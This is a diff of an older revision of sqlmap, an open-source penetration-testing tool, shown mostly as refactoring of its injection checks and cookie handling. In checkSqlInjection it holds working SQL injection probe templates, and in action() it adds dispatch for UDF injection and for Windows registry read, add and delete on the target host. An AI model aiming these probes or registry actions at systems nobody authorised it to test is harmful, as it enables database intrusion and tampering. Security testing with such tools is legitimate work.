_magic_buffer.restype = c_char_p
|
_magic_buffer.restype = c_char_p
|
||||||
_magic_buffer.argtypes = [magic_t, c_void_p, c_size_t]
|
_magic_buffer.argtypes = [magic_t, c_void_p, c_size_t]
|
||||||
_magic_buffer.errcheck = errorcheck
|
_magic_buffer.errcheck = errorcheck
|
||||||
|
|
||||||
|
|
||||||
def magic_buffer(cookie, buf):
|
def magic_buffer(cookie, buf):
|
||||||
return _magic_buffer(cookie, buf, len(buf))
|
return _magic_buffer(cookie, buf, len(buf))
|
||||||
|
|
||||||
|
|
||||||
magic_load = libmagic.magic_load
|
magic_load = libmagic.magic_load
|
||||||
magic_load.restype = c_int
|
magic_load.restype = c_int
|
||||||
magic_load.argtypes = [magic_t, c_char_p]
|
magic_load.argtypes = [magic_t, c_char_p]
|
||||||
@@ -162,7 +153,6 @@ try:
|
|||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
MAGIC_NONE = 0x000000 # No flags
|
MAGIC_NONE = 0x000000 # No flags
|
||||||
|
|
||||||
MAGIC_DEBUG = 0x000001 # Turn on debugging
|
MAGIC_DEBUG = 0x000001 # Turn on debugging
|
||||||
|
|||||||
@@ -22,8 +22,6 @@ License along with this library; if not, write to the Free Software
|
|||||||
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import mimetools
|
import mimetools
|
||||||
import mimetypes
|
import mimetypes
|
||||||
import os
|
import os
|
||||||
@@ -39,7 +37,6 @@ class Callable:
|
|||||||
def __init__(self, anycallable):
|
def __init__(self, anycallable):
|
||||||
self.__call__ = anycallable
|
self.__call__ = anycallable
|
||||||
|
|
||||||
|
|
||||||
# Controls how sequences are uncoded. If true, elements may be given
|
# Controls how sequences are uncoded. If true, elements may be given
|
||||||
# multiple values by assigning a sequence.
|
# multiple values by assigning a sequence.
|
||||||
doseq = 1
|
doseq = 1
|
||||||
@@ -50,15 +47,17 @@ class MultipartPostHandler(urllib2.BaseHandler):
|
|||||||
|
|
||||||
def http_request(self, request):
|
def http_request(self, request):
|
||||||
data = request.get_data()
|
data = request.get_data()
|
||||||
|
|
||||||
if data is not None and type(data) != str:
|
if data is not None and type(data) != str:
|
||||||
v_files = []
|
v_files = []
|
||||||
v_vars = []
|
v_vars = []
|
||||||
|
|
||||||
try:
|
try:
|
||||||
for(key, value) in data.items():
|
for(key, value) in data.items():
|
||||||
if type(value) == file:
|
if type(value) == file:
|
||||||
v_files.append((key, value))
|
v_files.append((key, value))
|
||||||
else:
|
else:
|
||||||
v_vars.append((key, value))
|
v_vars.append((key, value))
|
||||||
except TypeError:
|
except TypeError:
|
||||||
systype, value, traceback = sys.exc_info()
|
systype, value, traceback = sys.exc_info()
|
||||||
raise sqlmapDataException, "not a valid non-string sequence or mapping object", traceback
|
raise sqlmapDataException, "not a valid non-string sequence or mapping object", traceback
|
||||||
@@ -75,16 +74,18 @@ class MultipartPostHandler(urllib2.BaseHandler):
|
|||||||
request.add_data(data)
|
request.add_data(data)
|
||||||
return request
|
return request
|
||||||
|
|
||||||
|
|
||||||
def multipart_encode(vars, files, boundary = None, buffer = None):
|
def multipart_encode(vars, files, boundary = None, buffer = None):
|
||||||
if boundary is None:
|
if boundary is None:
|
||||||
boundary = mimetools.choose_boundary()
|
boundary = mimetools.choose_boundary()
|
||||||
|
|
||||||
if buffer is None:
|
if buffer is None:
|
||||||
buffer = ''
|
buffer = ''
|
||||||
|
|
||||||
for(key, value) in vars:
|
for(key, value) in vars:
|
||||||
buffer += '--%s\r\n' % boundary
|
buffer += '--%s\r\n' % boundary
|
||||||
buffer += 'Content-Disposition: form-data; name="%s"' % key
|
buffer += 'Content-Disposition: form-data; name="%s"' % key
|
||||||
buffer += '\r\n\r\n' + value + '\r\n'
|
buffer += '\r\n\r\n' + value + '\r\n'
|
||||||
|
|
||||||
for(key, fd) in files:
|
for(key, fd) in files:
|
||||||
file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
|
file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
|
||||||
filename = fd.name.split('/')[-1]
|
filename = fd.name.split('/')[-1]
|
||||||
@@ -95,9 +96,11 @@ class MultipartPostHandler(urllib2.BaseHandler):
|
|||||||
# buffer += 'Content-Length: %s\r\n' % file_size
|
# buffer += 'Content-Length: %s\r\n' % file_size
|
||||||
fd.seek(0)
|
fd.seek(0)
|
||||||
buffer += '\r\n' + fd.read() + '\r\n'
|
buffer += '\r\n' + fd.read() + '\r\n'
|
||||||
|
|
||||||
buffer += '--%s--\r\n\r\n' % boundary
|
buffer += '--%s--\r\n\r\n' % boundary
|
||||||
|
|
||||||
return boundary, buffer
|
return boundary, buffer
|
||||||
|
|
||||||
multipart_encode = Callable(multipart_encode)
|
multipart_encode = Callable(multipart_encode)
|
||||||
|
|
||||||
https_request = http_request
|
https_request = http_request
|
||||||
|
|
||||||
|
|||||||
BIN
lib/contrib/upx/macosx/upx
Executable file
BIN
lib/contrib/upx/macosx/upx
Executable file
Binary file not shown.
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from lib.controller.handler import setHandler
|
from lib.controller.handler import setHandler
|
||||||
from lib.core.common import getHtmlErrorFp
|
from lib.core.common import getHtmlErrorFp
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
@@ -35,7 +33,6 @@ from lib.techniques.blind.timebased import timeTest
|
|||||||
from lib.techniques.inband.union.test import unionTest
|
from lib.techniques.inband.union.test import unionTest
|
||||||
from lib.techniques.outband.stacked import stackedTest
|
from lib.techniques.outband.stacked import stackedTest
|
||||||
|
|
||||||
|
|
||||||
def action():
|
def action():
|
||||||
"""
|
"""
|
||||||
This function exploit the SQL injection on the affected
|
This function exploit the SQL injection on the affected
|
||||||
@@ -125,6 +122,10 @@ def action():
|
|||||||
if conf.sqlShell:
|
if conf.sqlShell:
|
||||||
conf.dbmsHandler.sqlShell()
|
conf.dbmsHandler.sqlShell()
|
||||||
|
|
||||||
|
# User-defined function options
|
||||||
|
if conf.udfInject:
|
||||||
|
conf.dbmsHandler.udfInjectCustom()
|
||||||
|
|
||||||
# File system options
|
# File system options
|
||||||
if conf.rFile:
|
if conf.rFile:
|
||||||
dumper.string("%s file saved to" % conf.rFile, conf.dbmsHandler.readFile(conf.rFile), sort=False)
|
dumper.string("%s file saved to" % conf.rFile, conf.dbmsHandler.readFile(conf.rFile), sort=False)
|
||||||
@@ -148,6 +149,16 @@ def action():
|
|||||||
if conf.osBof:
|
if conf.osBof:
|
||||||
conf.dbmsHandler.osBof()
|
conf.dbmsHandler.osBof()
|
||||||
|
|
||||||
|
# Windows registry options
|
||||||
|
if conf.regRead:
|
||||||
|
dumper.string("Registry key value data", conf.dbmsHandler.regRead())
|
||||||
|
|
||||||
|
if conf.regAdd:
|
||||||
|
conf.dbmsHandler.regAdd()
|
||||||
|
|
||||||
|
if conf.regDel:
|
||||||
|
conf.dbmsHandler.regDel()
|
||||||
|
|
||||||
# Miscellaneous options
|
# Miscellaneous options
|
||||||
if conf.cleanup:
|
if conf.cleanup:
|
||||||
conf.dbmsHandler.cleanup()
|
conf.dbmsHandler.cleanup()
|
||||||
|
|||||||
@@ -22,12 +22,9 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
import time
|
import time
|
||||||
|
|
||||||
from lib.controller.action import action
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import randomInt
|
from lib.core.common import randomInt
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
@@ -40,7 +37,6 @@ from lib.core.session import setString
|
|||||||
from lib.core.session import setRegexp
|
from lib.core.session import setRegexp
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
|
|
||||||
def checkSqlInjection(place, parameter, value, parenthesis):
|
def checkSqlInjection(place, parameter, value, parenthesis):
|
||||||
"""
|
"""
|
||||||
This function checks if the GET, POST, Cookie, User-Agent
|
This function checks if the GET, POST, Cookie, User-Agent
|
||||||
@@ -72,11 +68,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix))
|
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix))
|
||||||
trueResult = Request.queryPage(payload, place)
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if trueResult == True:
|
if trueResult:
|
||||||
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix))
|
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != True:
|
if not falseResult:
|
||||||
infoMsg = "confirming custom injection "
|
infoMsg = "confirming custom injection "
|
||||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -84,7 +80,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix))
|
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != True:
|
if not falseResult:
|
||||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
infoMsg += "custom injectable "
|
infoMsg += "custom injectable "
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -98,11 +94,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
|
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
|
||||||
trueResult = Request.queryPage(payload, place)
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if trueResult == True:
|
if trueResult:
|
||||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1))
|
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != True:
|
if not falseResult:
|
||||||
infoMsg = "confirming unescaped numeric injection "
|
infoMsg = "confirming unescaped numeric injection "
|
||||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -110,7 +106,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != True:
|
if not falseResult:
|
||||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
infoMsg += "unescaped numeric injectable "
|
infoMsg += "unescaped numeric injectable "
|
||||||
infoMsg += "with %d parenthesis" % parenthesis
|
infoMsg += "with %d parenthesis" % parenthesis
|
||||||
@@ -129,11 +125,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||||
trueResult = Request.queryPage(payload, place)
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if trueResult == True:
|
if trueResult:
|
||||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != True:
|
if not falseResult:
|
||||||
infoMsg = "confirming single quoted string injection "
|
infoMsg = "confirming single quoted string injection "
|
||||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -141,7 +137,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != True:
|
if not falseResult:
|
||||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
infoMsg += "single quoted string injectable "
|
infoMsg += "single quoted string injectable "
|
||||||
infoMsg += "with %d parenthesis" % parenthesis
|
infoMsg += "with %d parenthesis" % parenthesis
|
||||||
@@ -160,11 +156,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||||
trueResult = Request.queryPage(payload, place)
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if trueResult == True:
|
if trueResult:
|
||||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != True:
|
if not falseResult:
|
||||||
infoMsg = "confirming LIKE single quoted string injection "
|
infoMsg = "confirming LIKE single quoted string injection "
|
||||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -172,7 +168,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != True:
|
if not falseResult:
|
||||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
infoMsg += "LIKE single quoted string injectable "
|
infoMsg += "LIKE single quoted string injectable "
|
||||||
infoMsg += "with %d parenthesis" % parenthesis
|
infoMsg += "with %d parenthesis" % parenthesis
|
||||||
@@ -191,11 +187,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||||
trueResult = Request.queryPage(payload, place)
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if trueResult == True:
|
if trueResult:
|
||||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != True:
|
if not falseResult:
|
||||||
infoMsg = "confirming double quoted string injection "
|
infoMsg = "confirming double quoted string injection "
|
||||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -203,7 +199,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != True:
|
if not falseResult:
|
||||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
infoMsg += "double quoted string injectable "
|
infoMsg += "double quoted string injectable "
|
||||||
infoMsg += "with %d parenthesis" % parenthesis
|
infoMsg += "with %d parenthesis" % parenthesis
|
||||||
@@ -222,11 +218,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||||
trueResult = Request.queryPage(payload, place)
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if trueResult == True:
|
if trueResult:
|
||||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != True:
|
if not falseResult:
|
||||||
infoMsg = "confirming LIKE double quoted string injection "
|
infoMsg = "confirming LIKE double quoted string injection "
|
||||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -234,7 +230,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != True:
|
if not falseResult:
|
||||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
infoMsg += "LIKE double quoted string injectable "
|
infoMsg += "LIKE double quoted string injectable "
|
||||||
infoMsg += "with %d parenthesis" % parenthesis
|
infoMsg += "with %d parenthesis" % parenthesis
|
||||||
@@ -248,7 +244,6 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
|||||||
|
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
|
||||||
def checkDynParam(place, parameter, value):
|
def checkDynParam(place, parameter, value):
|
||||||
"""
|
"""
|
||||||
This function checks if the url parameter is dynamic. If it is
|
This function checks if the url parameter is dynamic. If it is
|
||||||
@@ -280,7 +275,6 @@ def checkDynParam(place, parameter, value):
|
|||||||
|
|
||||||
return condition
|
return condition
|
||||||
|
|
||||||
|
|
||||||
def checkStability():
|
def checkStability():
|
||||||
"""
|
"""
|
||||||
This function checks if the URL content is stable requesting the
|
This function checks if the URL content is stable requesting the
|
||||||
@@ -295,19 +289,19 @@ def checkStability():
|
|||||||
infoMsg = "testing if the url is stable, wait a few seconds"
|
infoMsg = "testing if the url is stable, wait a few seconds"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
firstPage, firstHeaders = Request.queryPage(content=True)
|
firstPage, _ = Request.queryPage(content=True)
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
secondPage, secondHeaders = Request.queryPage(content=True)
|
secondPage, _ = Request.queryPage(content=True)
|
||||||
|
|
||||||
condition = firstPage == secondPage
|
condition = firstPage == secondPage
|
||||||
|
|
||||||
if condition == True:
|
if condition:
|
||||||
conf.md5hash = md5hash(firstPage)
|
conf.md5hash = md5hash(firstPage)
|
||||||
|
|
||||||
logMsg = "url is stable"
|
logMsg = "url is stable"
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
elif condition == False:
|
elif not condition:
|
||||||
warnMsg = "url is not stable, sqlmap will base the page "
|
warnMsg = "url is not stable, sqlmap will base the page "
|
||||||
warnMsg += "comparison on a sequence matcher, if no dynamic nor "
|
warnMsg += "comparison on a sequence matcher, if no dynamic nor "
|
||||||
warnMsg += "injectable parameters are detected, refer to user's "
|
warnMsg += "injectable parameters are detected, refer to user's "
|
||||||
@@ -316,8 +310,6 @@ def checkStability():
|
|||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return condition
|
return condition
|
||||||
|
|
||||||
|
|
||||||
def checkString():
|
def checkString():
|
||||||
if not conf.string:
|
if not conf.string:
|
||||||
return True
|
return True
|
||||||
@@ -348,7 +340,6 @@ def checkString():
|
|||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
def checkRegexp():
|
def checkRegexp():
|
||||||
if not conf.regexp:
|
if not conf.regexp:
|
||||||
return True
|
return True
|
||||||
@@ -380,7 +371,6 @@ def checkRegexp():
|
|||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
def checkConnection():
|
def checkConnection():
|
||||||
infoMsg = "testing connection to the target url"
|
infoMsg = "testing connection to the target url"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from lib.controller.action import action
|
from lib.controller.action import action
|
||||||
from lib.controller.checks import checkSqlInjection
|
from lib.controller.checks import checkSqlInjection
|
||||||
from lib.controller.checks import checkDynParam
|
from lib.controller.checks import checkDynParam
|
||||||
@@ -33,17 +31,16 @@ from lib.controller.checks import checkRegexp
|
|||||||
from lib.controller.checks import checkConnection
|
from lib.controller.checks import checkConnection
|
||||||
from lib.core.common import paramToDict
|
from lib.core.common import paramToDict
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
|
from lib.core.common import sanitizeCookie
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.exception import sqlmapConnectionException
|
|
||||||
from lib.core.exception import sqlmapNotVulnerableException
|
from lib.core.exception import sqlmapNotVulnerableException
|
||||||
from lib.core.session import setInjection
|
from lib.core.session import setInjection
|
||||||
from lib.core.target import createTargetDirs
|
from lib.core.target import createTargetDirs
|
||||||
from lib.core.target import initTargetEnv
|
from lib.core.target import initTargetEnv
|
||||||
from lib.utils.parenthesis import checkForParenthesis
|
from lib.utils.parenthesis import checkForParenthesis
|
||||||
|
|
||||||
|
|
||||||
def __selectInjection(injData):
|
def __selectInjection(injData):
|
||||||
"""
|
"""
|
||||||
Selection function for injection place, parameters and type.
|
Selection function for injection place, parameters and type.
|
||||||
@@ -84,7 +81,6 @@ def __selectInjection(injData):
|
|||||||
|
|
||||||
return injData[index]
|
return injData[index]
|
||||||
|
|
||||||
|
|
||||||
def start():
|
def start():
|
||||||
"""
|
"""
|
||||||
This function calls a function that performs checks on both URL
|
This function calls a function that performs checks on both URL
|
||||||
@@ -105,7 +101,6 @@ def start():
|
|||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
hostCount = 0
|
hostCount = 0
|
||||||
receivedCookies = []
|
|
||||||
cookieStr = ""
|
cookieStr = ""
|
||||||
setCookieAsInjectable = True
|
setCookieAsInjectable = True
|
||||||
|
|
||||||
@@ -139,39 +134,42 @@ def start():
|
|||||||
logMsg = "testing url %s" % targetUrl
|
logMsg = "testing url %s" % targetUrl
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
|
createTargetDirs()
|
||||||
initTargetEnv()
|
initTargetEnv()
|
||||||
|
|
||||||
if not checkConnection() or not checkString() or not checkRegexp():
|
if not checkConnection() or not checkString() or not checkRegexp():
|
||||||
continue
|
continue
|
||||||
|
|
||||||
for _, cookie in enumerate(conf.cj):
|
if not conf.dropSetCookie:
|
||||||
cookie = str(cookie)
|
for _, cookie in enumerate(conf.cj):
|
||||||
index = cookie.index(" for ")
|
cookie = str(cookie)
|
||||||
|
index = cookie.index(" for ")
|
||||||
|
|
||||||
|
cookieStr += "%s;" % cookie[8:index]
|
||||||
|
|
||||||
cookieStr += "%s;" % cookie[8:index]
|
if cookieStr:
|
||||||
|
cookieStr = cookieStr[:-1]
|
||||||
if cookieStr:
|
|
||||||
cookieStr = cookieStr[:-1]
|
if "Cookie" in conf.parameters:
|
||||||
|
message = "you provided an HTTP Cookie header value. "
|
||||||
if "Cookie" in conf.parameters:
|
message += "The target url provided its own Cookie within "
|
||||||
message = "you provided an HTTP Cookie header value. "
|
message += "the HTTP Set-Cookie header. Do you want to "
|
||||||
message += "The target url provided its own Cookie within "
|
message += "continue using the HTTP Cookie values that "
|
||||||
message += "the HTTP Set-Cookie header. Do you want to "
|
message += "you provided? [Y/n] "
|
||||||
message += "continue using the HTTP Cookie values that "
|
test = readInput(message, default="Y")
|
||||||
message += "you provided? [Y/n] "
|
|
||||||
test = readInput(message, default="Y")
|
if not test or test[0] in ("y", "Y"):
|
||||||
|
setCookieAsInjectable = False
|
||||||
if not test or test[0] in ("y", "Y"):
|
|
||||||
setCookieAsInjectable = False
|
if setCookieAsInjectable:
|
||||||
|
safeCookie = sanitizeCookie(cookieStr)
|
||||||
if setCookieAsInjectable:
|
conf.httpHeaders.append(("Cookie", safeCookie))
|
||||||
conf.httpHeaders.append(("Cookie", cookieStr))
|
conf.parameters["Cookie"] = safeCookie
|
||||||
conf.parameters["Cookie"] = cookieStr.replace("%", "%%")
|
__paramDict = paramToDict("Cookie", safeCookie)
|
||||||
__paramDict = paramToDict("Cookie", cookieStr)
|
|
||||||
|
if __paramDict:
|
||||||
if __paramDict:
|
conf.paramDict["Cookie"] = __paramDict
|
||||||
conf.paramDict["Cookie"] = __paramDict
|
__testableParameters = True
|
||||||
__testableParameters = True
|
|
||||||
|
|
||||||
if not kb.injPlace or not kb.injParameter or not kb.injType:
|
if not kb.injPlace or not kb.injParameter or not kb.injType:
|
||||||
if not conf.string and not conf.regexp and not conf.eRegexp:
|
if not conf.string and not conf.regexp and not conf.eRegexp:
|
||||||
@@ -202,7 +200,7 @@ def start():
|
|||||||
